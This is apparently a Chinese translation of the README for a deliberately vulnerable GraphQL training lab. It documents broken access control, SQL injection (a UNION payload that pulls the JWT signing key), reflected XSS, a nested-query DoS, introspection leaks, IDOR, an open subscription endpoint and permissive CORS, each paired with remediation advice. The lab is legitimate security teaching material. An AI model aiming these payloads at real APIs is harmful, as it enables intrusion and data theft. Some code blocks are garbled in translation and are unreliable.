已创建了一个实验室来研究不同的问题,该实验室以兽医管理狗狗健康的场景为背景。
实验室使用 IntelliJ IDEA Community Edition 开发。
使用的域名如下:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
以下是实验室的条件和假设:
* 一位兽医可以关联 0 或 N 条狗。
* 一条狗可以关联 0 或 1 位兽医。
* 兽医有一个名为 **Popularity** 的属性,存在于存储系统(数据库)中,但 GraphQL 客户端不得访问它,因为它是敏感信息。
* GraphQL 数据消费视角是兽医。狗的信息是公开的。
* 实验室明确是一个存在漏洞的应用程序,其中实现了多个漏洞,并通过注释中的 `[VULN]` 标记进行标识。
* 关于认证,实现了一个虚假的第三方服务(通过 servlet),返回包含兽医名称的 JWT 令牌。
通过项目中的启动配置或命令行 `mvn spring-boot:run` 启动后,实验室可在以下端点访问:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
要打包应用程序为可移植的 jar 文件,请使用命令 `mvn package`(预构建的 jar 文件可在[此处](https://github.com/righettod/poc-graphql/releases)获取):
* jar 文件将创建在 *target* 文件夹中,并命名为 *graphql-poc.jar*。
* 使用命令 `java -jar graphql-poc.jar` 运行应用程序。
## 在 Docker 上部署
> 镜像每天发布在 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) 上
为了在 docker 容器中部署应用程序,请按照以下步骤操作:
1. 确保已安装 `docker`。
2. `git clone` 该仓库。
3. 切换到克隆的目录。
4. 使用 `docker build -t poc-graphql .` 构建 Docker 镜像。
5. 现在,一个名为 **poc-graphql:latest** 的镜像已在您的机器上创建。
6. 使用 `docker run -p 8080:8080 poc-graphql:latest` 运行容器。
7. 使用以下端点访问实验室:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## 安全弱点
### 授权
*访问控制失效*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### 问题
由于 GraphQL 基于单个端点,所有请求都发送到该端点,并且授权不在规范的范围内(没有内置功能)。
因此,由应用程序来实现授权逻辑。
在我的实验室中,这一点存在漏洞,因为访问令牌的验证并未验证该令牌是否属于在 **veterinaryId** 中传递的兽医。
**示例:**
我为存储中标识符为 **3** 的 **Dr Julien** 请求访问令牌,通过发送以下 GraphQL 请求:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
我在以下GraphQL响应中接收到访问令牌:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
我使用获取的访问令牌向 `myInfo(...)` 查询发送一个 GraphQL 请求,但指定了标识符 **2**,即 **Dr Benoit** 的标识符:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
我在 GraphQL 响应中接收到与 Dr Benoit 关联的狗列表:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Reco
使用 GraphQL 后,我们从基于 `角色 x 功能` 的授权矩阵转向了基于 `角色 x 数据` 的数据级安全,因为现在只有一个端点。用户身份和角色必须传递给负责获取(或操作)数据的顶层,以便在获取数据之前利用用户身份进行验证。
### 注入
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### 问题
根据 GraphQL 服务器如何利用来自 GraphQL 请求(查询/变更/订阅)的信息来对数据存储进行操作,存在注入的可能性。
在我的实验室中,我在 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 查询中发现了一个 SQL 注入漏洞,因为参数 **namePrefix** 被用于字符串拼接以构建 SQL 查询。
**示例:**
我发送以下 GraphQL 请求以列出 `CONFIG` 表的内容。```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
我在 GraphQL 响应中接收到了用于签名 JWT 令牌的密钥,以及名字以 ab 开头的狗的名字:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
关于XSS,有趣的是,当请求发送的验证失败时,GraphQL响应会反射出所发送的参数。
**示例:**
我向查询 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 发送此GraphQL请求,我将Veterinary标识符(一个整数)替换为一个字符串XSS载荷:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
我收到这个 GraphQL 响应,它反射了我的 payload,因此,根据 GraphQL 客户端及其转义/清理行为,它可能为 XSS 打开大门:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* 对通过 Query/Mutation/Subscription 接收的数据在使用前进行输入验证
* 确保渲染来自 GraphQL 响应的数据的客户端在渲染前对数据进行转义/清理。
### 资源耗尽
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### 问题
由于客户端控制请求的数据量,它可以发送一个 GraphQL 请求,该请求会导致 GraphQL 服务器调用的存储资源耗尽,同时 GraphQL 服务器本身在将数据序列化为 JSON 时也会出现资源耗尽。
此问题也可能通过 mutation 发生,即在参数中发送大量数据(可在此处使用输入验证来防止此类攻击)。
此问题也可能通过 subscription 发生,方式如下:
* 在暴露的每个订阅上注册大量订阅者。
* 在订阅使用的参数中发送大量数据。
在我的实验室中,我在查询方面存在漏洞,特别是查询 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`,该查询对匿名用户可用,并检索数据库中关于狗的内容。由于狗与兽医之间存在关系,反之亦然,因此可以进行级联调用,导致数据库在 SQL 级别出现资源耗尽。
**示例:**
当我发送此请求时,我的 CPU 会达到 100% 持续几分钟,而我的数据库是本地的,因为它是 SQLite。```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

对于查询: 根据所使用的 GraphQL 服务器实现,使用内置的保护机制来限制 最大查询深度 和 查询复杂度(参见规范)。
对于 Java 实现,将以下两个仪表化类添加到执行策略中:
参见此类以了解上述两个仪表化用法的示例。
对于变更/订阅:
使用 GraphQL,客户端可以通过内省功能访问 API 模式,以发现可用的数据、查询、变更和订阅。
注意: 禁用内省会使你的服务器违反 GraphQL 规范以及大多数客户端的期望,因此请谨慎使用;从业务角度出发,建议优先过滤访问而非直接禁用它。
这意味着任何客户端都可以深入检查模式,以查看 Type 中是否暴露了任何有趣的敏感信息(对于暴露的 Mutation 或 Subscription 也是如此)。
通过 Documentation Explorer 面板使用 GraphiQL 或此脚本,可以浏览 GraphQL 端点暴露的模式。
在我的实验环境中,我错误地将兽医院的 受欢迎程度 信息(视为敏感信息)暴露到了 Veterinary 类型中。
在我的实验环境中,此URL允许获取模式的副本。
示例:
通过 Documentation Explorer 面板,我发现了这个字段:



可以在 GraphQL 端点的访问上设置身份验证约束,以防止向匿名用户暴露,但任何通过身份验证的用户都可以访问此信息模式。
即使客户端可以看到暴露敏感信息的类型的结构,要查看这些信息,还需要获得返回这些数据的查询/变更/订阅的许可。
不要将敏感信息映射到模式中定义的类型中。
由于 GraphQL 具体化了客户端如何消费数据,GraphQL 不应暴露链接存储中所有可用的数据,而应仅暴露根据暴露给客户端的 GraphQL API 的业务上下文对客户端有用的数据。
当 GraphQL 服务器遇到意外错误(与存储的 I/O、NullPointerException、超时等)时,响应会提示 执行查询时发生内部服务器错误,这向攻击者暗示他们已对系统产生影响并导致了意外行为。
示例:
当我在实验环境中发送此请求查询时(无效令牌):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
我收到这个回复,它告知我已对系统采取了行动并导致了意外行为。例如,我可能在应用日志中生成了一个堆栈跟踪,如果应用日志文件是按日期(每日)而不是按大小轮换的,那么我可以多次发送这个请求,用错误日志填满磁盘……```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
如果遇到意外错误,则返回一个通用错误,例如 查询无法处理!
参见此类中的示例。
如果 GrapeQL API 暴露了 Query/Mutation/Subscription,且其数据标识符是可猜测/可预测的,则 Query/Mutation/Subscription 容易受到 IDOR 攻击,攻击者将使用自定义构建的标识符列表,尝试访问或操作标识符在列表中的数据,如果处理目标数据的 Query/Mutation/Subscription 也存在授权问题,则操作将成功。
我的实验室提出的 GraphQL API 的 Query/Mutation/Subscription 容易受到 IDOR 攻击,因为我为 Dog 和 Veterinary 使用顺序整数作为唯一标识符。
示例:
使用 GraphiQL 的 Documentation Explorer,我们可以看到标识符是简单的整数并且是顺序的:


请求查询以检测 IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
响应显示了狗和兽医的顺序标识符:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
使用GraphQL实现服务器构建GraphQL API时,可能会默认启用某些功能,从而将GraphQL API暴露给错误的客户端范围。
在我的实验室中,情况正是如此,因为默认情况下,WebSocket端点在路径/subscriptions上暴露,并且不需要任何身份验证(请参阅此文档,具体是Realtime Updates with Subscriptions部分):

如果模式在Subscription部分声明了订阅,客户端可以通过此端点获取API数据的访问权限。
示例:
我可以通过模式查看暴露的订阅:

如果我发送此订阅请求以接收来自newAssociation订阅的事件:```javascript subscription subscribeToNewAssociation{ newAssociation }
我收到以下消息,提示我从现在起将收到来自此订阅的信息:```text
Your subscription data will appear here after server publication!
例如,当我在另一个浏览器中通过此mutation请求创建一个关联时:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
该突变响应证明该操作已在数据层面执行:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
过了一会儿,我收到了关于我订阅的回复通知:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### 跨源资源共享默认启用
在我的实验环境中是这样,因为默认情况下 [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) 已启用并设置为 `*`,所以 API 可以被任何 `origin` 调用。
**示例:**
当我发送这个请求时,若指定一个不同的 `origin`,从 *domain1.local* 到 *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
我收到这个响应:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Call from a browser:


#### 建议
验证默认启用的功能,如果它们会影响 API 的暴露程度,则将其禁用。
对于订阅端点:
* 如果暴露了订阅,请确保在模式中暴露的每个订阅上都设置了身份验证和访问控制。
* 如果不暴露订阅,请禁用 WebSocket 端点,或在 WAF/应用程序服务器级别阻止此端点。
在我的实验室中,需要在此[配置文件](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties)中设置以下选项:
* 对于 CORS:`graphql.servlet.corsEnabled=false`
* 对于 WebSocket:`graphql.servlet.websocket.enabled=false`
## 发现查询
以下查询可用于获取模式。
非详细:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
详细说明:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## 参考资源
### GraphQL
* [GraphQL 官网](https://graphql.org/)
* [GraphQL 教程](https://www.howtographql.com/)
* [关于 GraphQL 问题的 DOYENSEC 博客](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### 实验
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)